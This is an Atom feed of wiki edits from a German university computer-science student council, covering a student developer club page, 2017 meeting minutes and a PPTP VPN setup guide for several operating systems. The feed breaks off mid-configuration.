<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.100.4.59</id>
	<title>Fachschaft Informatik - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.100.4.59"/>
	<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php/Spezial:Beitr%C3%A4ge/134.100.4.59"/>
	<updated>2026-10-17T06:25:14Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.46.2</generator>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=DSC-AG&amp;diff=25265</id>
		<title>DSC-AG</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=DSC-AG&amp;diff=25265"/>
		<updated>2020-11-16T14:26:14Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: /* Über die DSC */ Hinweis auf Google eingefügt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Über die DSC ==&lt;br /&gt;
&lt;br /&gt;
Der Developer Student Club (DSC) ist eine von Google geförderte AG, bei der wir uns mit diversen Technologien (z.b App-Development, Machine Learning, Web …) in der Theorie und Praxis beschäftigen. Es wird verschiedene Events wie Lernathons, Vorträge und Hackathons geben. Geplant ist auch ein Projekt mit einem Unternehmen, bei dem wir das Wissen in der realen Praxis anwenden. &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &lt;br /&gt;
Zusätzlich ist der DSC mit anderen DSC’s von anderen Unis vernetzt. Jedes Jahr gibt es auch die sogenannte Solution Challenge, bei der alle DSC’s in der Welt mitmachen. &lt;br /&gt;
Das Ziel der AG ist, dass man sich innerhalb des Studiums mehr connected und sich gemeinsam Technologien anschaut. Dabei natürlich viel Spaß hat und neues lernt.&lt;br /&gt;
&lt;br /&gt;
== Wann? ==&lt;br /&gt;
&lt;br /&gt;
Einfach bei Discord, Telegram oder Whatsapp reinschauen. Da findet man Ankündigungen zu neuen Events.&lt;br /&gt;
&lt;br /&gt;
== Was brauche ich? ==&lt;br /&gt;
&lt;br /&gt;
Neugier und Lust etwas gemeinsam zu lernen.&lt;br /&gt;
&lt;br /&gt;
== Was hab ich davon? ==&lt;br /&gt;
&lt;br /&gt;
- Besseren Überblick über aktuelle Technologien &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &lt;br /&gt;
- Praxiserfahrung &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &lt;br /&gt;
- Connection&lt;br /&gt;
&lt;br /&gt;
== Kontakt ==&lt;br /&gt;
Ben (6mueller@inf...)&lt;br /&gt;
&lt;br /&gt;
Sonst Social Media Kanäle.&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=FsrProtokoll20170123&amp;diff=22706</id>
		<title>FsrProtokoll20170123</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=FsrProtokoll20170123&amp;diff=22706"/>
		<updated>2017-01-24T02:22:21Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: /* Berufungskommission Machine Learning */ Korrektur: irreführende Formulierung&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[FsrProtokoll20170116|&amp;lt;&amp;lt; zum letzten Protokoll]] || [[FsrProtokoll20170130|zum nächsten Protokoll &amp;gt;&amp;gt;]]&lt;br /&gt;
= Trivia =&lt;br /&gt;
* Anwesende: Michael, Hauke, David, Julian, Tronje, Alex, Louis, Jannis, Kim, Phillip; Gäste: Damian&lt;br /&gt;
* Beschlussfähigkeit: #t&lt;br /&gt;
* Versammlungsleitung: Kim&lt;br /&gt;
* Protokoll: Kim&lt;br /&gt;
* Baubeauftragte:&lt;br /&gt;
* Sitzungsbeginn: 20:13&lt;br /&gt;
* Sitzungsende: 21:48&lt;br /&gt;
* Ort: G-203&lt;br /&gt;
&lt;br /&gt;
= TOPs =&lt;br /&gt;
&lt;br /&gt;
== Berufungskommission Machine Learning ==&lt;br /&gt;
Es gibt eine Berufungskommission für eine W3-Professur im Bereich Machine-Learning.&lt;br /&gt;
Voraussichtlich in der vorlesungsfreien Zeit wird es Berufungsvorsträge geben. Die Lehrproben der Bewerber*innen werden von interessierten Studierenden angesehen werden können.&lt;br /&gt;
&lt;br /&gt;
== Waffeleisen-Kabel ==&lt;br /&gt;
Das Kabel eines Waffeleisens ist kaputt. Julian hat das Kabel mehrschichtig mit Isolierband repariert. Damit sollte das Problem behoben sein.&lt;br /&gt;
&lt;br /&gt;
== Feedback: StuPa-Wahl ==&lt;br /&gt;
Die StuPa-Wahl ist beendet. Die Wahlurne war durchgehend besetzt (bis auf den Stromausfall). Das Waffelrezept ist gut. Es mussten aber teilweise spontan Zutaten nachgekauft werden. Wie bereits in den Vorjahren haben wir an der Informatik eine der höchsten Wahlbeteiligungen für einen Außenstandort.&lt;br /&gt;
&lt;br /&gt;
== FSR-Sticker ==&lt;br /&gt;
Wir diskutieren über das Format und die Größe der FSR-Sticker und gelangen zu folgenden Ergebnissen:&lt;br /&gt;
* Wir machen weniger als 3mm Rand, da die Sticker sonst doof aussehen.&lt;br /&gt;
* Außerdem wollen wir noch große Sticker (quasi als Werbung für den FSR)&lt;br /&gt;
Kim bestellt folgende Sticker:&lt;br /&gt;
* 100 große runde Sticker (9,5cm × 9,5cm) auf weißer Haftfolie (Outdoor: 90μ)&lt;br /&gt;
* 5000 Etiketten auf Rolle (2cm × 2cm) auf 60μ Aufkleber-Haftpapier&lt;br /&gt;
Die Sticker werden bestellt, sobald die Finanzreferenten das OK geben.&lt;br /&gt;
&lt;br /&gt;
== Lehrlabor ==&lt;br /&gt;
Zwar darf David nichts zum Inhalt der Anträge sagen, allerdings gibt es jetzt ein FSR-internes [https://mafiasi.de/etherpad/pad/FSR-Informatik/Lehrlabor_Auswahlkriterien Etherpad] zum Sammeln von Anregungen.&lt;br /&gt;
&lt;br /&gt;
= TODOs =&lt;br /&gt;
&lt;br /&gt;
== In Bearbeitung ==&lt;br /&gt;
* Rückstau von Buchhaltung abarbeiten [3strassb][4dahmen] #open&lt;br /&gt;
* Offene Fragen bzgl. Getränkeabrechnung klären [3strassb][3timmerm] #open&lt;br /&gt;
* Metro-Rechnung von der Weihnachtsfeier an Lukas schicken [3strassb] #open&lt;br /&gt;
* Weihnachtsfeier-Feedback ins Etherpad [5uzolas][3schuett] #open&lt;br /&gt;
* AstA-Anträge stellen [3strassb] #open&lt;br /&gt;
* Mail an stud@: Pfand &amp;amp; Die Leute sollen die Getränke im c.t. auch bezahlen [3timmerm] #open&lt;br /&gt;
* Preisliste überdenken [3timmerm] #open&lt;br /&gt;
* Serviceteam (Kock) auf Beamer im c.t. ansprechen. [5uzolas] #open&lt;br /&gt;
* HowTo: Profbegrüßung ins Wiki schreiben [5wittenb][5uzolas] #inprogress&lt;br /&gt;
* Unitag 2017 organisieren [5wittenb][5uzolas] #open&lt;br /&gt;
* Begrüßung von Prof. Judith Simon [4kobras] #reminder&lt;br /&gt;
* Auflistung des fehlenden Stoffes in FGI-3 machen [3schuett][5zschock] #inprogress&lt;br /&gt;
* Stellungnahme für Rarey/Ars Legendi schreiben [2hofmann][5zschock] #inprogress&lt;br /&gt;
* Mail an Christian: Aktueller Stand des V++ und Erinnerung an PA-Besetzungstermin [3schuett] #open&lt;br /&gt;
* FSR-Sticker bestellen [5wittenb] #inprogress&lt;br /&gt;
* Neue Profs auf Feedbackbögen hinweisen [5uzolas] #open&lt;br /&gt;
* Leute suchen für die Taskforces für Inf, SSE, MCI, MScInf, IAS [fsr] #reminder&lt;br /&gt;
* Werbung für das Praktikum von Biemann [5sittig] #inprogress&lt;br /&gt;
* Kock über Raumbuchungen in der Klausurenphase informieren [tronje] #open&lt;br /&gt;
* Kaffeemaschine in Reparatur geben!!! [4kraemer] #open&lt;br /&gt;
* Arbeitsbereichvorstellung [4kobras][5zschock] #reminder&lt;br /&gt;
* Treffen PA-Mitglieder [3timmerm] #reminder&lt;br /&gt;
* Besetzung der PAs -&amp;gt; 1. Mai [fsr] #reminder&lt;br /&gt;
* EP über außerordentliche Fachschaftsmitglieder Pflegen (Melf reinschreiben) [2hofmann] #open&lt;br /&gt;
* Mit Moldt reden und Treffen wegen Küche organisieren [4kobras] #open&lt;br /&gt;
* Neuen Tresorcode überlegen, Tresor nutzung evaluate  [3schuett][4dahmen][3strassb] #inprogress&lt;br /&gt;
* Wissensweitergabe [fsr] #reminder&lt;br /&gt;
* FSR vertraulich ankündigen [3schuett] #open&lt;br /&gt;
* RPO-Prozess verfolgen (und ggf. bei der Umsetzunghelfen) [5zschock] #reminder&lt;br /&gt;
* An FSRV beteiligen [fsr] #reminder&lt;br /&gt;
* Update Getränke [3timmerm][3strassb][3wille] #reminder&lt;br /&gt;
* Einladung und Newsletter zur FSR Partey an Mafia schreiben [5wittenb] #reminder&lt;br /&gt;
&lt;br /&gt;
== Jüngst Erledigt ==&lt;br /&gt;
* Angela nach Entsorgung von Gandalf fragen [4kraemer] #done&lt;br /&gt;
* Wie können Langzeit-TODOs gespeichert werden? -&amp;gt; Nächste Woche [fsr] #done&lt;br /&gt;
* Treffen mit Menzel vereinbaren (Studiengangsreform) [5zschock] #done&lt;br /&gt;
* Termin mit Menzel/Steinicke vereinbaren (Entwicklungen &amp;amp; Sorgen bei FGI-3) [5zschock][2epplee] #done&lt;br /&gt;
* StuPa-Wahl organisieren [4kraemer][4dahmen] #done&lt;br /&gt;
* StuPa-Antrag für Vereinsmitgliedschaft [4dahmen] #done -&amp;gt; Redmine&lt;br /&gt;
* Getränke bestellen [3timmerm] #done -&amp;gt; Redmine&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=FBIVPN&amp;diff=19532</id>
		<title>FBIVPN</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=FBIVPN&amp;diff=19532"/>
		<updated>2014-04-27T16:48:17Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: Anmerkung für ubuntu 14.04 hinzugefügt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Im Informatik-Netz gibt es leider viele Port-Beschränkungen. Daher ist die Verwendung einer [[VPN|VPN-Verbindung]] zu empfehlen. Eine VPN-Verbindung ist auch dann sinnvoll, wenn man von außerhalb des Informatik-Netzes auf Seiten zugreifen möchte, die nur aus dem Informatik-Netz abgerufen werden können.&lt;br /&gt;
&lt;br /&gt;
Vom RZ gibt es eine [http://www.informatik.uni-hamburg.de/RZ/netz/notebook/vpn.shtml Anleitung für Windows und OS X]. Hier gibt es eine kurze Anleitung, wie man dies unter Linux (speziell Debian/Ubuntu) mit dem Network-Manager realisieren kann:&lt;br /&gt;
&lt;br /&gt;
== Kurzanleitungen ==&lt;br /&gt;
Hier sind Kurzanleitungen für Ubuntu, Windows XP &amp;amp; 7, Mac OS X und iOS, längere Anleitungen gibt es unten, oder auf den Seiten des RZ&lt;br /&gt;
&lt;br /&gt;
=== Ubuntu (getestet unter 12.04 und 12.10)===&lt;br /&gt;
(über GUI [nm-applet]):&lt;br /&gt;
&lt;br /&gt;
* VPN-Verbindungen-&amp;gt;VPN-Konfigurieren&lt;br /&gt;
* Hinzufügen&lt;br /&gt;
* Erzeugen (PPTP)&lt;br /&gt;
* Daten eingeben:&lt;br /&gt;
** Verbindungsname: FBI-VPN (ist beliebig)&lt;br /&gt;
** Gateway: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
** User name: &amp;lt;Deine Kennung (0musterm)&amp;gt;&lt;br /&gt;
** Passwort: &amp;lt;Dein Passwort&amp;gt;&lt;br /&gt;
** NT Domain: informatik&lt;br /&gt;
* Advanced:&lt;br /&gt;
** Use Point-to-Point encryption (MPPE)&lt;br /&gt;
** Sicherheit: 128-bit (most secure)&lt;br /&gt;
** die nächsten 4 Optionen ankreuzen&lt;br /&gt;
*** Anmerkung: Bei mir (Ubuntu 13.10) funktioniert das VPN nur, wenn &amp;quot;Allow stateful encryption&amp;quot; nicht angekreuzt ist. Mach ich was falsch?&lt;br /&gt;
*** Anmerkung2: Bei mir (Ubuntu 14.04 neu installiert) gehts auch nur ohne. Also vermutlich bei allen Ubuntus ab 13.10 den einen Haken weglassen.&lt;br /&gt;
** &amp;lt;OK&amp;gt;&lt;br /&gt;
* IPv4-Einstellungen&lt;br /&gt;
** Methode: Automatisch (VPN), nur Adressen&lt;br /&gt;
** DNS-Server: 134.100.9.61&lt;br /&gt;
** Suchdomänen: informatik.uni-hamburg.de&lt;br /&gt;
* &amp;lt;Speichern&amp;gt;&lt;br /&gt;
* &amp;lt;Schließen&amp;gt;&lt;br /&gt;
* Zum W-LAN UHH verbinden.&lt;br /&gt;
* Fertig&lt;br /&gt;
&lt;br /&gt;
Zum verbinden jetzt:&lt;br /&gt;
* VPN-Verbindungen --&amp;gt; FBI-VPN&lt;br /&gt;
Du hast jetzt Internet!!!&lt;br /&gt;
&lt;br /&gt;
=== Kubuntu 13.04 per KDE Controle Module ===&lt;br /&gt;
Verbindungsart: PPTP&lt;br /&gt;
* Daten eingeben&lt;br /&gt;
** Verbindungsname: FBI-VPN (ist beliebig)&lt;br /&gt;
** Gateway: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
** User name: &amp;lt;Deine Kennung (0musterm)&amp;gt;&lt;br /&gt;
** Passwort: &amp;lt;Dein Passwort&amp;gt;&lt;br /&gt;
** NT Domain: informatik&lt;br /&gt;
* Advanced&lt;br /&gt;
** Authentication Methods: MSCHAP und MSCHAPv2 (alle anderen deaktivieren)&lt;br /&gt;
** Use Point-to-Point encryption (MPPE)&lt;br /&gt;
** Sicherheit: 128-bit (most secure)&lt;br /&gt;
** stateful encryption&lt;br /&gt;
** Compression: BSD, Deflate, TCP header&lt;br /&gt;
* DNS Server und Suchdomäne sollten nicht mehr nötig sein.&lt;br /&gt;
&lt;br /&gt;
=== Windows XP ===&lt;br /&gt;
&lt;br /&gt;
* Mit dem W-Lan UHH verbinden&lt;br /&gt;
* Systemsteuerung --&amp;gt; Netzwerkverbindung&lt;br /&gt;
* Neue Verbindung erstellen&lt;br /&gt;
** Verbindung mit dem Netzwerk am Arbeitsplatz herstellen&lt;br /&gt;
** &amp;lt;Weiter&amp;gt;&lt;br /&gt;
* VPN-Verbindung&lt;br /&gt;
** &amp;lt;Weiter&amp;gt;&lt;br /&gt;
* Daten Eingeben:&lt;br /&gt;
** FBI-VPN (beliebig)&lt;br /&gt;
** &amp;lt;weiter&amp;gt;&lt;br /&gt;
** Hostname: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
** &amp;lt;weiter&amp;gt;&lt;br /&gt;
** &amp;lt;weiter&amp;gt;&lt;br /&gt;
** &amp;lt;Fertig Stellen&amp;gt;&lt;br /&gt;
* Der Verbinden Dialog erscheint, Daten eingeben:&lt;br /&gt;
**  Benutzername: &amp;lt;Deine Kennung (0musterm)&amp;gt;&lt;br /&gt;
**  Kennwort: &amp;lt;Dein Passwort&amp;gt;&lt;br /&gt;
** &amp;lt;Verbinden&amp;gt;&lt;br /&gt;
* Du hast Internet!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Windows 7 ===&lt;br /&gt;
&lt;br /&gt;
* Mit dem W-Lan UHH verbinden (an der Uni) oder mit Internet verbinden (bspw. zuhause)&lt;br /&gt;
* Systemsteuerung --&amp;gt; Netzwerk- und Freigabecenter&lt;br /&gt;
* Neue Verbindung oder Netzwerk einrichten&lt;br /&gt;
* Verbindung mit dem Arbeitsplatz herstellen&lt;br /&gt;
** &amp;lt;weiter&amp;gt;&lt;br /&gt;
* Nein, neue Verbindung erstellen&lt;br /&gt;
** &amp;lt;weiter&amp;gt;&lt;br /&gt;
* Die Internetverbindung (VPN) verwenden&lt;br /&gt;
* Daten Eingeben:&lt;br /&gt;
** Internetadresse: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
** Zielname: FBI-VPN (beliebig)&lt;br /&gt;
** &amp;lt;Weiter&amp;gt;&lt;br /&gt;
** Benutzername: &amp;lt;deine Kennung (0musterm)&amp;gt;&lt;br /&gt;
** Kennwort: &amp;lt;Dein Passwort&amp;gt;&lt;br /&gt;
** &amp;lt;verbinden&amp;gt;&lt;br /&gt;
* Fertig!&lt;br /&gt;
&lt;br /&gt;
Wenn Ihr ein Antivirenprogramm mit Firewall verwendet, dann achtet darauf, dass GRE-Pakete beidseitig durchgelassen werden. Das müsstet ihr bei der jeweiligen Firewall konfigurieren können. &lt;br /&gt;
&lt;br /&gt;
Am Beispiel von Avira AntiVir InternetSecurity hier ein Beispiel:&lt;br /&gt;
* Avira AntiVir öffnen (Adminrechte erforderlich)&lt;br /&gt;
* Auf den Punkt Firewall klicken&lt;br /&gt;
* Auf Konfigurieren klicken&lt;br /&gt;
* Unter Adapterregeln eure Internetverbindung auswählen&lt;br /&gt;
* Unter eingehende Regeln eine &amp;quot;Eingehende IP-Protokollregel&amp;quot; erstellen&lt;br /&gt;
* Als Protokoll GRE auswählen (Nummer 47)&lt;br /&gt;
* Unter ausgehende Regeln eine &amp;quot;Ausgehende IP-Protokollregel&amp;quot; erstellen&lt;br /&gt;
* Als Protokoll GRE auswählen (Nummer 47)&lt;br /&gt;
* Die Änderungen abspeichern.&lt;br /&gt;
* Vorsorglich neustarten.&lt;br /&gt;
* Fertig.&lt;br /&gt;
&lt;br /&gt;
Diese Schritte waren bei mir nötig, um das Einwählen zu ermöglichen. Bei anderen Betriebssystemen (vornehmlich Windows/Mac) und/oder anderen Antivirenprogrammem mit integrierter Firewall können die Einstellungen anders heißen und andere Schritte nötig sein. Wenn es bei euch ohne diese Schritte klappt, dann müsst ihr auch nichts ändern.&lt;br /&gt;
&lt;br /&gt;
=== Mac OS X ===&lt;br /&gt;
&lt;br /&gt;
* Mit dem W-Lan UHH verbinden&lt;br /&gt;
* System Preferences -&amp;gt; Network&lt;br /&gt;
* Neue Verbindung einrichten&lt;br /&gt;
* VPN Auswählen&lt;br /&gt;
** VPN Typ: PPTP&lt;br /&gt;
* Service Name: FBI-VPN&lt;br /&gt;
* Configuration: Default&lt;br /&gt;
* Sever Address: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
* Account Name: Deine Kennung (0musterm)&lt;br /&gt;
* Encryption: Maximum (128 bit only)&lt;br /&gt;
* Authentication Settings: Password&lt;br /&gt;
* Advanced:&lt;br /&gt;
** Options:&lt;br /&gt;
*** Session alles auswählen ausser Disconnect if idle for X minutes&lt;br /&gt;
*** Advanced Use verbose logging auswählen&lt;br /&gt;
* VPN on Demand&lt;br /&gt;
** Neue Domain hinzufügen: informatik&lt;br /&gt;
* TCP/IP&lt;br /&gt;
** Using PPP&lt;br /&gt;
* Configure IPv6&lt;br /&gt;
** Automatically&lt;br /&gt;
* DNS und Proxies nichts vornehmen&lt;br /&gt;
* &amp;lt;Verbinden&amp;gt;&lt;br /&gt;
* Du hast Internet!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Zusätzlich:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Seit MacOSX 10.7 gibt es das nervige PopUp-Feld welches einen zum Einloggen auffordert, dieses wird durch den &amp;quot;Captive Network Assistant&amp;quot; ausgelöst.&lt;br /&gt;
&lt;br /&gt;
Um dieses &amp;quot;Feature&amp;quot; abzustellen muss folgendes getan werden:&lt;br /&gt;
* zu folgendem Ordner navigieren: /System/Library/CoreServices/&lt;br /&gt;
* &amp;quot;Captive Network Assistant.app&amp;quot; umbenennen. z.B. zu: &amp;quot;_Captive Network Assistant.app&amp;quot;&lt;br /&gt;
* fertig&lt;br /&gt;
&lt;br /&gt;
=== iOS ===&lt;br /&gt;
&lt;br /&gt;
* Unter den W-Lan-Netzen bei &amp;quot;UHH&amp;quot; auf den Pfeil nach Rechts tippen&lt;br /&gt;
** &amp;quot;Automatisch Anmelden&amp;quot; deaktivieren&lt;br /&gt;
* Mit dem W-Lan UHH verbinden&lt;br /&gt;
* Unter Einstellungen -&amp;gt; Allgemein -&amp;gt; Netzwerk -&amp;gt; VPN kannst du eine eigene VPN-Verbindung einrichten. &lt;br /&gt;
* Daten eingeben:&lt;br /&gt;
** PPTP Übertragung&lt;br /&gt;
** Beschreibung: (ist dir überlassen)&lt;br /&gt;
** Server: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
** Account: deine Informatik-Kennung (0musterm)&lt;br /&gt;
** RSA-SecurID: Aus&lt;br /&gt;
** Kennwort: dein Kennwort zur Kennung&lt;br /&gt;
** Verschlüsselung: Automatisch&lt;br /&gt;
** Für alle Daten: An&lt;br /&gt;
** Proxy: Aus (sofern du keinen benutzt)&lt;br /&gt;
* Unter Einstellungen dann VPN einschalten (natürlich sofern du im UHH Netz bist)&lt;br /&gt;
* Du hast Internet!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fehlerbehebung&#039;&#039;&#039; &lt;br /&gt;
Solltet ihr euch nicht mit UHH verbinden können, tut folgendes:&lt;br /&gt;
* Unter den W-Lan-Netzen bei &amp;quot;UHH&amp;quot; auf den Pfeil nach Rechts tippen&lt;br /&gt;
** &amp;quot;Automatisch Anmelden&amp;quot; deaktivieren (nicht in iOS Version 6.0.1 verfügbar).&lt;br /&gt;
&lt;br /&gt;
== GUI ==&lt;br /&gt;
Diese Sektion beschreibt die Einrichtung des VPNs mittels dem NetworkManager. Wenn du keine grafische Oberflaeche benutzt, schaue weiter unten für eine Beschreibung mit nur Commandline-Tools.&lt;br /&gt;
&lt;br /&gt;
=== Benötigtes Paket ===&lt;br /&gt;
network-manager-pptp (PPTP-Backend für Network-Manager)&lt;br /&gt;
&lt;br /&gt;
Nach dem installieren des Pakets musste bei mir (Kubunty Hardy) der knetworkmanager neugestartet werden. Vorher waren die VPN-Optionen nicht sichtbar.&lt;br /&gt;
&lt;br /&gt;
=== Einstellungen ===&lt;br /&gt;
Network-Manager -&amp;gt; VPN-Verbindungen -&amp;gt; VPN konfigurieren -&amp;gt; Hinzufügen&lt;br /&gt;
&lt;br /&gt;
Im Verbindungsassistent dann folgende Einstellungen vornehmen:&lt;br /&gt;
&lt;br /&gt;
==== Hardy Heron und früher ====&lt;br /&gt;
* Verbinden mit: PPTP Tunnel&lt;br /&gt;
* Name: FBI VPN (oder nach Gusto)&lt;br /&gt;
* Typ: Windows VPN (PPTP)&lt;br /&gt;
* Gateway: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Tipp&#039;&#039;: Wenn du das VPN nur nutzen möchtest, um von zu Hause bestimmte Seiten aus dem Uni-Netz abzurufen, auf die du normalerweise nicht von außen zugreifen dürftest, solltest du die VPN-Verbindung so konfigurieren, dass nur Verbindungen mit dem Uni-Netz über das VPN aufgebaut werden. Das hat den Vorteil, dass andere Dinge, die du im Internet noch so tust, evt. schneller sind, da sie nicht getunnelt werden. Dazu bearbeitest du die bestehende Verbindung über Network-Manager -&amp;gt; VPN-Verbindungen -&amp;gt; VPN konfigurieren -&amp;gt; Bearbeiten (dazu muss natürlich deine Verbindung ausgewählt sein). Auf der Karteikarte &#039;&#039;Routing&#039;&#039; markierst du dann &#039;&#039;VPN-Verbindungen nur für diese Adressen verwenden&#039;&#039; und trägst das Subnetz der Uni (&#039;&#039;134.100.0.0/16&#039;&#039;) als IP-Adressbereich ein.&lt;br /&gt;
&lt;br /&gt;
Der Knetworkmanager hat unter Hardy einen Bug, so dass keine VPN-Verbindung konfiguriert werden kann. Eine gefixte Version findet sich unter https://launchpad.net/~nytmyn/+archive (siehe auch https://bugs.launchpad.net/ubuntu/+source/knetworkmanager/+bug/151867 )&lt;br /&gt;
&lt;br /&gt;
==== Intrepid Ibex und später ====&lt;br /&gt;
&lt;br /&gt;
* Verbindungstyp: Point-to-Point Tunneling Protocol (PPTP)&lt;br /&gt;
* Name: FBI VPN (oder nach Gusto)&lt;br /&gt;
* Gateway: fbivpn.informatik.uni-hamburg.de&lt;br /&gt;
* User name: Informatik\RZ-Benutzerkennung (RZ-Benutzerkennung ist dabei natürlich deine Kennung!)&lt;br /&gt;
* NT Domain: Unbedingt leer lassen, hier nicht Informatik eintragen. Die Domäne muss dem Benutzernamen wie oben beschrieben vorangestellt werden.&lt;br /&gt;
* Auf &#039;&#039;Advanced&#039;&#039; klicken:&lt;br /&gt;
** Haken vor &#039;&#039;Use Point-To-Point encryption (MPEE)&#039;&#039; aktivieren&lt;br /&gt;
** &#039;&#039;Security&#039;&#039; auf &#039;&#039;128bit (most secure)&#039;&#039; setzen&lt;br /&gt;
&lt;br /&gt;
=== Neustarten ===&lt;br /&gt;
&lt;br /&gt;
Nach Einrichtung der Verbindung ist evt. ein Neustart des Network-Manager notwendig, damit die Verbindung dort angezeigt wird. Unter Ubuntu geht das durch Aufrufen folgender Befehle:&lt;br /&gt;
&lt;br /&gt;
* sudo /etc/dbus-1/event.d/25NetworkManager restart&lt;br /&gt;
* sudo /etc/dbus-1/event.d/26NetworkManagerDispatcher restart&lt;br /&gt;
&lt;br /&gt;
=== Verbinden ===&lt;br /&gt;
Zunächst muss eine Internetverbindung oder eine Verbindung zu einem UHH-Netz (z.B. FBI-WLAN) aufgebaut werden. Eine Gateway-Authentifizierung ist &#039;&#039;nicht&#039;&#039; notwendig.&lt;br /&gt;
&lt;br /&gt;
Networkmanager -&amp;gt; VPN-Verbindungen -&amp;gt; FBI VPN&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Wichtig&#039;&#039;: Bei der Authentifizierung am VPN-Gateway muss dem Benutzernamen die Windows-Domäne vorangestellt werden. Der korrekte Benutzername lautet also: &#039;&#039;Informatik\RZ-Benutzerkennung&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== CLI ==&lt;br /&gt;
Dieser Abschnitt beschreibt, wie mensch eine VPN Verbindung ins [[FBI]] mit Commandline-Tools erstellt.&lt;br /&gt;
&lt;br /&gt;
=== Pakete ===&lt;br /&gt;
Installiere: &amp;lt;a href=&amp;quot;apt:pptp-linux&amp;quot;&amp;gt;pptp-linux&amp;lt;/a&amp;gt; (FIXME: Ubuntu kann mit apt: URIs umgehen. Wie setzt man die hier? [apt:pptp-linux])&lt;br /&gt;
&lt;br /&gt;
=== Konfiguration ===&lt;br /&gt;
&lt;br /&gt;
Credentials:&lt;br /&gt;
&amp;lt;pre&amp;gt;echo $FBIUSER PPTP $FBIPASS 134.100.5.65 | sudo tee -a /etc/ppp/chap-secrets&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wobei $FBIUSER und $FBIPASS dein Benutzername (e.g. 0bock) und dein Passwort sind.&lt;br /&gt;
&lt;br /&gt;
Dialup:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo &amp;lt;&amp;lt;EOF&lt;br /&gt;
pty &amp;quot;pptp fbivpn.informatik.uni-hamburg.de --nolaunchpppd&amp;quot;&lt;br /&gt;
name $FBIUSER&lt;br /&gt;
remotename PPTP&lt;br /&gt;
require-mppe-128&lt;br /&gt;
file /etc/ppp/options.pptp&lt;br /&gt;
ipparam stellingen&lt;br /&gt;
EOF | sudo tee /etc/ppp/peers/stellingen &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Routing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo &amp;lt;&amp;lt;EOF&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
[ &amp;quot;$6&amp;quot; != &amp;quot;stellingen&amp;quot; ] &amp;amp;&amp;amp; exit 0&lt;br /&gt;
&lt;br /&gt;
ip route add 0.0.0.0/1 dev &amp;quot;$1&amp;quot;&lt;br /&gt;
ip route add 128.0.0.0/1 dev &amp;quot;$1&amp;quot;&lt;br /&gt;
EOF | sudo tee /etc/ppp/ip-up.d/route-traffic&lt;br /&gt;
sudo chmod +x /etc/ppp/ip-up.d/route-traffic &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Network config:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo &amp;lt;&amp;lt;EOF&lt;br /&gt;
iface stellingen inet ppp&lt;br /&gt;
    provider stellingen&lt;br /&gt;
EOF | sudo tee -a /etc/network/interfaces&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Starten/Stoppen ===&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo ifup stellingen&amp;lt;/pre&amp;gt;&lt;br /&gt;
bzw.&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo ifdown stellingen&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VPN automatisch bei Verbindung mit $WLAN ===&lt;br /&gt;
&lt;br /&gt;
Das ganze Verbinden kann man auch automatisch machen, indem man das Netzwerk identifiziert, in dem man sich befindet.&lt;br /&gt;
Aus der oberen Anleitung braucht man dann nicht mehr den Punkt &amp;quot;Network config&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/wpa_supplicant/wpa_supplicant.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
network={&lt;br /&gt;
	ssid=&amp;quot;UHH-WPA&amp;quot;&lt;br /&gt;
	key_mgmt=WPA-EAP&lt;br /&gt;
	eap=TTLS&lt;br /&gt;
	group=TKIP CCMP&lt;br /&gt;
